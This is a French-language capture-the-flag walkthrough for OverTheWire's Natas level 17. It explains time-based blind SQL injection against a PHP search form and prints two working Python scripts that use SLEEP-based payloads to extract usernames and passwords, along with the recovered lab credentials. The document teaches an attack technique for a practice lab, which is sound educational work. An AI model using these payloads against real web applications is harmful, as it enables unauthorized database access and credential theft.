Niveau 17

Natas 17

Level Goal

Username: natas17
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL: http://natas17.natas.labs.overthewire.org

En se connectant à la page du challenge 17 (curl http://natas17.natas.labs.overthewire.org -u natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw) on accède à un formulaire de recherche d'utilisateur interrgeant de nouveau une base de donnée SQL :

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>

Donc voici le code source :

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?> 

Le code source est identique à celui de l'épreuve 15 à la différence près que le serveur ne retourne pas de message, que l'utilisateur soit présent ou absent dans la base de donnée ou que la requête échoue.

La solution à ce problème est d'utiliser une injection SQL aveugle et plus exactement une injection Time-based. Le concept est le suivant : sachant qu'il n'y a pas de différence dans la réponse du serveur si la requête échoue ou réussi, la seule solution est d'utiliser la fonction SLEEP de SQL pour ajouter un délai en cas de bonne réponse et aucun délai en cas de mauvaise réponse.

Note: Dans ce genre de scénario il est beaucoup plus rapide d'ajouter un délai en cas de bonne réponse plutôt qu'en cas de mauvaise réponse. En prenant le cas présent en exemple, si on utilise un délai de 3 secondes pour chacun des caractères trouvés on attendra au total 32 x 3 = 96 secondes d'attente. Si à l'inverse on attendait lors de tentatives échouées, on pourrait avoir jusqu'à ((32 x 62) - 32) * 3 = 5856 secondes d'attente.

Trouver les noms d'utilisateurs

Une fois de plus on peut utiliser Python pour déterminer la liste des utilisateurs de la base de donnée en repartant du code du niveau 15 :

import requests
import string
import time

CHARACTERS = string.ascii_lowercase + string.digits
USERNAMES = []
SLEEP_TIME = 2


def query(username):
    exploit = f"""" or (username LIKE '{username}%' AND SLEEP({SLEEP_TIME})) #"""
    payload = {"username": exploit}
    response = requests.get(
        "http://natas17.natas.labs.overthewire.org",
        params=payload,
        auth=requests.auth.HTTPBasicAuth("natas17", "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),
    )
    return response.text


def testUsername(username=""):
    new_char = False
    for i in range(0, len(CHARACTERS)):
        start_time = time.time()
        query(f"{username}{CHARACTERS[i]}")
        if time.time() - start_time > SLEEP_TIME:
            new_char = True
            testUsername(f"{username}{CHARACTERS[i]}")
    if len(username) and not new_char:
        USERNAMES.append(username)


testUsername()
print(USERNAMES)

Si on exécute ce script on obtient la liste d'utilisateurs suivant :

['natas18', 'user1', 'user2', 'user3']

Trouver les mots de passe des utilisateurs

Idem, on peut repartir du code du niveau 15 :

import requests
import string
import time

CHARACTERS = string.ascii_letters + string.digits
USERNAMES = ['natas18', 'user1', 'user2', 'user3']
PASSWORDS = {}
SLEEP_TIME = 2


def query(username, password):
    exploit = f"""{username}" and (password LIKE BINARY '{password}%' AND SLEEP({SLEEP_TIME})) #"""
    payload = {"username": exploit}
    response = requests.get(
        "http://natas17.natas.labs.overthewire.org",
        params=payload,
        auth=requests.auth.HTTPBasicAuth("natas17", "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"),
    )
    return response.text


def testPassword(username="", password=""):
    new_char = False
    for i in range(0, len(CHARACTERS)):
        start_time = time.time()
        query(username, f"{password}{CHARACTERS[i]}")
        if time.time() - start_time > SLEEP_TIME:
            new_char = True
            testPassword(username, f"{password}{CHARACTERS[i]}")
    if len(password) and not new_char:
        print("Password found", username, password)
        PASSWORDS[username] = password


for name in USERNAMES:
    testPassword(name)

print(PASSWORDS)

Et on obtient le résultat suivant :

{
  'natas18': 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP',
  'user1': '0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd',
  'user2': 'MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2',
  'user3': 'VOFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD'
}

Le mot de passe pour le prochain niveau est donc xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP.